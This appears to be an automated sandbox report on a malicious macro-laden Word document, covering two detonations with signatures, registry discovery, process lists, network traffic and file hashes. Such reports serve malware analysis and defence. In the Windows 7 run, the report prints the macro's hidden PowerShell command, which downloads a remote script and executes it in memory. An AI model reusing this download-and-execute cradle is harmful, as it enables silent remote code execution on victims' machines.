Malware Analysis Report

2025-03-15 07:56

Sample ID 240806-j8qvcsthqk
Target malwarers.doc
SHA256 1c8d2db41d2ffc6da5c52a203ec8be94253c35b27e073447889c8af3cfa1be4f
Tags
discovery execution macro macro_on_action
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

1c8d2db41d2ffc6da5c52a203ec8be94253c35b27e073447889c8af3cfa1be4f

Threat Level: Known bad

The file malwarers.doc was found to be: Known bad.

Malicious Activity Summary

discovery execution macro macro_on_action

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Command and Scripting Interpreter: PowerShell

Drops file in Windows directory

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Enumerates system info in registry

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Checks processor information in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-06 08:20

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-06 08:20

Reported

2024-08-06 08:23

Platform

win7-20240708-en

Max time kernel

117s

Max time network

121s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malwarers.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malwarers.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell.exe –WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.246/1234567892222.ps1')

Network

Country Destination Domain Proto
N/A 192.168.1.246:80 tcp

Files

memory/1908-0-0x000000002F5F1000-0x000000002F5F2000-memory.dmp

memory/1908-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1908-2-0x00000000710AD000-0x00000000710B8000-memory.dmp

memory/1908-8-0x0000000006030000-0x0000000006130000-memory.dmp

memory/1908-13-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/1908-14-0x0000000006030000-0x0000000006130000-memory.dmp

memory/1908-17-0x00000000710AD000-0x00000000710B8000-memory.dmp

memory/1908-18-0x0000000006030000-0x0000000006130000-memory.dmp

memory/1908-19-0x0000000006030000-0x0000000006130000-memory.dmp

memory/1908-20-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/1908-26-0x00000000006D0000-0x00000000007D0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 5160e55f3f2de2ae2d2eeacffc204c8e
SHA1 a56177bd6f325dbb5269906ee4a37c6c4b737024
SHA256 f6bcd9a636ed4db5a734c7d3db9304903ffbf4819507136b0d747810279b9ce1
SHA512 955c7b542931ee51c66c6982c725100850bc371b0262803ef44b4f18664a922d8082bca1e3c0b41bd71b84b235e92a318ae2614b4499ef101120436ed0ea13a2

memory/1908-41-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1908-43-0x00000000006D0000-0x00000000007D0000-memory.dmp

memory/1908-42-0x00000000710AD000-0x00000000710B8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-06 08:20

Reported

2024-08-06 08:23

Platform

win10v2004-20240802-en

Max time kernel

106s

Max time network

108s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malwarers.doc" /o ""

Signatures

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\malwarers.doc" /o ""

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 66.112.168.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
GB 92.123.26.202:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 18.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
GB 88.221.134.147:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 202.26.123.92.in-addr.arpa udp
US 8.8.8.8:53 147.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp

Files

memory/1936-0-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-3-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-2-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-1-0x00007FF97E42D000-0x00007FF97E42E000-memory.dmp

memory/1936-5-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-4-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-8-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-10-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-12-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-11-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-9-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-15-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-16-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-19-0x00007FF93BCB0000-0x00007FF93BCC0000-memory.dmp

memory/1936-18-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-17-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-14-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-13-0x00007FF93BCB0000-0x00007FF93BCC0000-memory.dmp

memory/1936-7-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-6-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-24-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-25-0x00007FF97E42D000-0x00007FF97E42E000-memory.dmp

memory/1936-26-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

memory/1936-27-0x00007FF97E390000-0x00007FF97E585000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCD2C04.tmp\gb.xsl

MD5 51d32ee5bc7ab811041f799652d26e04
SHA1 412193006aa3ef19e0a57e16acf86b830993024a
SHA256 6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA512 5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

memory/1936-291-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-292-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-294-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-293-0x00007FF93E410000-0x00007FF93E420000-memory.dmp

memory/1936-295-0x00007FF97E390000-0x00007FF97E585000-memory.dmp